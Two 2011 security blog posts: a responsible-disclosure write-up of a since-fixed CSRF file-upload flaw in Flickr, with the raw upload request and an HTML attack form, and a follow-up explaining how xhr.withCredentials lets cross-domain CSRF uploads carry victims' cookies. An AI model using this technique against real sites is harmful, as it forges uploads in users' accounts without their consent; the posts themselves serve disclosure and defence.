Wednesday, May 18, 2011

Invisible arbitrary CSRF file upload in Flickr.com

Summary

Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by Flickr.com team.

The exploit is an example of using my HTML5 arbitrary file upload method.

Demo


Vulnerability description

Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).
Basic File Upload Form
This request looks like this:
POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--

On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.

Attack

Malicious page with this HTML code:
<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>
was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.

Fix

As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.

Timeline

17.05.2011 - vulnerability discovered
18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released

Tuesday, May 10, 2011

Cross domain arbitrary file upload Redux

Remember how it was possible to upload files with arbitrary names & contents cross domain?  The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)

I can haz cookies!

I still don't know how did I miss this, but it's just a one-line change:
xhr.withCredentials = "true"; 
That's it. With this flag set:
  • CORS simple requests will include cookies / HTTP auth
  • CORS preflighted requests will ask for permission to include them
Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:

"Take those cookies to your grandma", said The Browser
  1. Victim logs in to victim.whatever.com website
  2. He receives a session cookie for future requests
  3. In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
  4. Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)

    "Browser, I really need you to send this tiny little harmless POST to victim"

  5. Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.

    "Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"

  6. victim app receives the POST file upload with the cookie, so it processes the upload and responds.

    "What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"

  7. Browser looks at the response and, not having appropriate CORS response headers, discards the response.

    "Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"
Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated the examples with the new code.